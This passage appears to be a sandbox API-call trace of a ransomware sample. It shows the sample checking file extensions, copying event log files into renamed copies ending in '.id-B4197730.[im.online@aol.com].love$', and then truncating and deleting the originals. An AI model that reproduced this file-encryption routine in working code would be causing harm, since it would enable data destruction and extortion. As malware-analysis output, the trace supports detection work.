lstrlenW (lpString=".ppt") returned 4 [0116.584] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0116.584] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0116.584] lstrlenW (lpString=".zip") returned 4 [0116.584] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0116.584] lstrlenW (lpString=".rar") returned 4 [0116.584] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0116.585] lstrlenW (lpString=".bz2") returned 4 [0116.585] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0116.585] lstrlenW (lpString=".7z") returned 3 [0116.585] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0116.585] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0116.585] lstrlenW (lpString=".dbf") returned 4 [0116.585] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0116.585] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0116.585] lstrlenW (lpString=".1cd") returned 4 [0116.585] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0116.585] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0116.585] lstrlenW (lpString=".jpg") returned 4 [0116.585] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0116.585] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0116.585] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0116.585] lstrlenW (lpString=".doc") returned 4 [0116.585] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0116.585] lstrlenW (lpString=".docx") returned 5 [0116.585] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0116.585] lstrlenW (lpString=".pdf") returned 4 [0116.585] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0116.585] lstrlenW (lpString=".xls") returned 4 [0116.585] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0116.585] lstrlenW (lpString=".xlsx") returned 5 [0116.586] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0116.586] lstrlenW (lpString=".ppt") returned 4 [0116.586] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0116.586] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0116.586] lstrlenW (lpString=".zip") returned 4 [0116.586] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0116.586] lstrlenW (lpString=".rar") returned 4 [0116.586] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0116.586] lstrlenW (lpString=".bz2") returned 4 [0116.586] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0116.586] lstrlenW (lpString=".7z") returned 3 [0116.586] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0116.586] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0116.586] lstrlenW (lpString=".dbf") returned 4 [0116.586] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0116.586] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0116.586] lstrlenW (lpString=".1cd") returned 4 [0116.586] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0116.587] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0116.587] lstrlenW (lpString=".jpg") returned 4 [0116.587] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0116.587] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0116.587] lstrlenW (lpString="Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 49 [0116.587] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0117.168] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=69632) returned 1 [0117.168] CloseHandle (hObject=0x344) returned 1 [0117.168] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx")) returned 0x20 [0117.168] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0117.168] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0117.168] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.168] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.168] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0117.169] GetLastError () returned 0x0 [0117.169] ReadFile (in: hFile=0x344, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x11000, lpOverlapped=0x0) returned 1 [0117.199] WriteFile (in: hFile=0x318, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x11010, lpOverlapped=0x0) returned 1 [0117.201] ReadFile (in: hFile=0x344, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0117.201] WriteFile (in: hFile=0x318, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x136, lpOverlapped=0x0) returned 1 [0117.201] SetEndOfFile (hFile=0x318) returned 1 [0117.202] CloseHandle (hObject=0x318) returned 1 [0117.204] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.204] SetEndOfFile (hFile=0x344) returned 1 [0117.205] CloseHandle (hObject=0x344) returned 1 [0117.206] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0117.206] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx")) returned 1 [0117.206] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0117.206] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0117.206] lstrlenW (lpString=".doc") returned 4 [0117.206] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0117.207] lstrlenW (lpString=".docx") returned 5 [0117.207] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0117.207] lstrlenW (lpString=".pdf") returned 4 [0117.207] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0117.207] lstrlenW (lpString=".xls") returned 4 [0117.207] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0117.207] lstrlenW (lpString=".xlsx") returned 5 [0117.207] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0117.207] lstrlenW (lpString=".ppt") returned 4 [0117.207] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0117.207] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0117.207] lstrlenW (lpString=".zip") returned 4 [0117.207] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0117.207] lstrlenW (lpString=".rar") returned 4 [0117.207] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0117.207] lstrlenW (lpString=".bz2") returned 4 [0117.207] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0117.207] lstrlenW (lpString=".7z") returned 3 [0117.207] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0117.207] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0117.207] lstrlenW (lpString=".dbf") returned 4 [0117.207] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0117.207] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0117.207] lstrlenW (lpString=".1cd") returned 4 [0117.207] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0117.207] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0117.207] lstrlenW (lpString=".jpg") returned 4 [0117.207] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0117.207] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0117.207] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0117.207] lstrlenW (lpString=".doc") returned 4 [0117.207] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0117.208] lstrlenW (lpString=".docx") returned 5 [0117.208] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0117.208] lstrlenW (lpString=".pdf") returned 4 [0117.208] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0117.208] lstrlenW (lpString=".xls") returned 4 [0117.208] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0117.208] lstrlenW (lpString=".xlsx") returned 5 [0117.208] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0117.208] lstrlenW (lpString=".ppt") returned 4 [0117.208] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0117.208] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0117.208] lstrlenW (lpString=".zip") returned 4 [0117.208] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0117.208] lstrlenW (lpString=".rar") returned 4 [0117.208] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0117.208] lstrlenW (lpString=".bz2") returned 4 [0117.208] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0117.208] lstrlenW (lpString=".7z") returned 3 [0117.208] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0117.208] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0117.208] lstrlenW (lpString=".dbf") returned 4 [0117.208] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0117.208] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0117.208] lstrlenW (lpString=".1cd") returned 4 [0117.208] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0117.208] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0117.208] lstrlenW (lpString=".jpg") returned 4 [0117.208] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0117.209] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0117.209] lstrlenW (lpString="Microsoft-Windows-Bits-Client%4Operational.evtx") returned 47 [0117.209] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0117.211] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=69632) returned 1 [0117.211] CloseHandle (hObject=0x318) returned 1 [0117.211] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx")) returned 0x20 [0117.211] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0117.214] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0117.214] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.214] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.215] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0117.215] GetLastError () returned 0x0 [0117.215] ReadFile (in: hFile=0x2d8, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x11000, lpOverlapped=0x0) returned 1 [0117.762] WriteFile (in: hFile=0x37c, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x11010, lpOverlapped=0x0) returned 1 [0118.019] ReadFile (in: hFile=0x2d8, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0118.021] WriteFile (in: hFile=0x37c, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x132, lpOverlapped=0x0) returned 1 [0118.021] SetEndOfFile (hFile=0x37c) returned 1 [0118.021] CloseHandle (hObject=0x37c) returned 1 [0118.024] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0118.024] SetEndOfFile (hFile=0x2d8) returned 1 [0118.025] CloseHandle (hObject=0x2d8) returned 1 [0118.025] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0118.025] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx")) returned 1 [0118.026] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0118.026] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0118.026] lstrlenW (lpString=".doc") returned 4 [0118.026] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0118.026] lstrlenW (lpString=".docx") returned 5 [0118.026] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0118.026] lstrlenW (lpString=".pdf") returned 4 [0118.026] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0118.026] lstrlenW (lpString=".xls") returned 4 [0118.026] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0118.026] lstrlenW (lpString=".xlsx") returned 5 [0118.026] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0118.026] lstrlenW (lpString=".ppt") returned 4 [0118.026] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0118.026] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0118.026] lstrlenW (lpString=".zip") returned 4 [0118.026] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0118.026] lstrlenW (lpString=".rar") returned 4 [0118.026] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0118.026] lstrlenW (lpString=".bz2") returned 4 [0118.026] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0118.026] lstrlenW (lpString=".7z") returned 3 [0118.026] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0118.026] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0118.026] lstrlenW (lpString=".dbf") returned 4 [0118.026] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0118.026] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0118.026] lstrlenW (lpString=".1cd") returned 4 [0118.026] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0118.026] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0118.026] lstrlenW (lpString=".jpg") returned 4 [0118.026] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0118.027] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0118.027] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0118.027] lstrlenW (lpString=".doc") returned 4 [0118.027] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0118.027] lstrlenW (lpString=".docx") returned 5 [0118.027] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0118.027] lstrlenW (lpString=".pdf") returned 4 [0118.027] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0118.027] lstrlenW (lpString=".xls") returned 4 [0118.027] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0118.027] lstrlenW (lpString=".xlsx") returned 5 [0118.027] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0118.027] lstrlenW (lpString=".ppt") returned 4 [0118.027] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0118.027] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0118.027] lstrlenW (lpString=".zip") returned 4 [0118.027] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0118.027] lstrlenW (lpString=".rar") returned 4 [0118.027] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0118.027] lstrlenW (lpString=".bz2") returned 4 [0118.027] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0118.027] lstrlenW (lpString=".7z") returned 3 [0118.027] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0118.027] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0118.027] lstrlenW (lpString=".dbf") returned 4 [0118.027] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0118.027] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0118.027] lstrlenW (lpString=".1cd") returned 4 [0118.027] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0118.027] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0118.027] lstrlenW (lpString=".jpg") returned 4 [0118.027] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0118.028] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0118.028] lstrlenW (lpString="Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 54 [0118.028] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0118.028] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=69632) returned 1 [0118.028] CloseHandle (hObject=0x2d8) returned 1 [0118.028] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx")) returned 0x20 [0118.028] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0118.028] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0118.028] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0118.028] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0118.028] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0118.031] GetLastError () returned 0x0 [0118.031] ReadFile (in: hFile=0x2d8, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x11000, lpOverlapped=0x0) returned 1 [0118.043] WriteFile (in: hFile=0x37c, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x11010, lpOverlapped=0x0) returned 1 [0118.045] ReadFile (in: hFile=0x2d8, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0118.045] WriteFile (in: hFile=0x37c, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x140, lpOverlapped=0x0) returned 1 [0118.045] SetEndOfFile (hFile=0x37c) returned 1 [0118.045] CloseHandle (hObject=0x37c) returned 1 [0118.048] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0118.048] SetEndOfFile (hFile=0x2d8) returned 1 [0118.049] CloseHandle (hObject=0x2d8) returned 1 [0118.050] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0118.050] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx")) returned 1 [0118.050] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0118.050] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0118.050] lstrlenW (lpString=".doc") returned 4 [0118.050] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0118.050] lstrlenW (lpString=".docx") returned 5 [0118.050] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0118.050] lstrlenW (lpString=".pdf") returned 4 [0118.050] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0118.050] lstrlenW (lpString=".xls") returned 4 [0118.050] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0118.050] lstrlenW (lpString=".xlsx") returned 5 [0118.051] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0118.051] lstrlenW (lpString=".ppt") returned 4 [0118.051] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0118.051] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0118.051] lstrlenW (lpString=".zip") returned 4 [0118.051] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0118.051] lstrlenW (lpString=".rar") returned 4 [0118.051] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0118.051] lstrlenW (lpString=".bz2") returned 4 [0118.051] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0118.051] lstrlenW (lpString=".7z") returned 3 [0118.051] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0118.051] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0118.051] lstrlenW (lpString=".dbf") returned 4 [0118.051] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0118.051] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0118.051] lstrlenW (lpString=".1cd") returned 4 [0118.051] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0118.051] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0118.051] lstrlenW (lpString=".jpg") returned 4 [0118.051] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0118.051] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0118.051] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0118.051] lstrlenW (lpString=".doc") returned 4 [0118.051] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0118.051] lstrlenW (lpString=".docx") returned 5 [0118.051] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0118.051] lstrlenW (lpString=".pdf") returned 4 [0118.051] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0118.051] lstrlenW (lpString=".xls") returned 4 [0118.051] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned 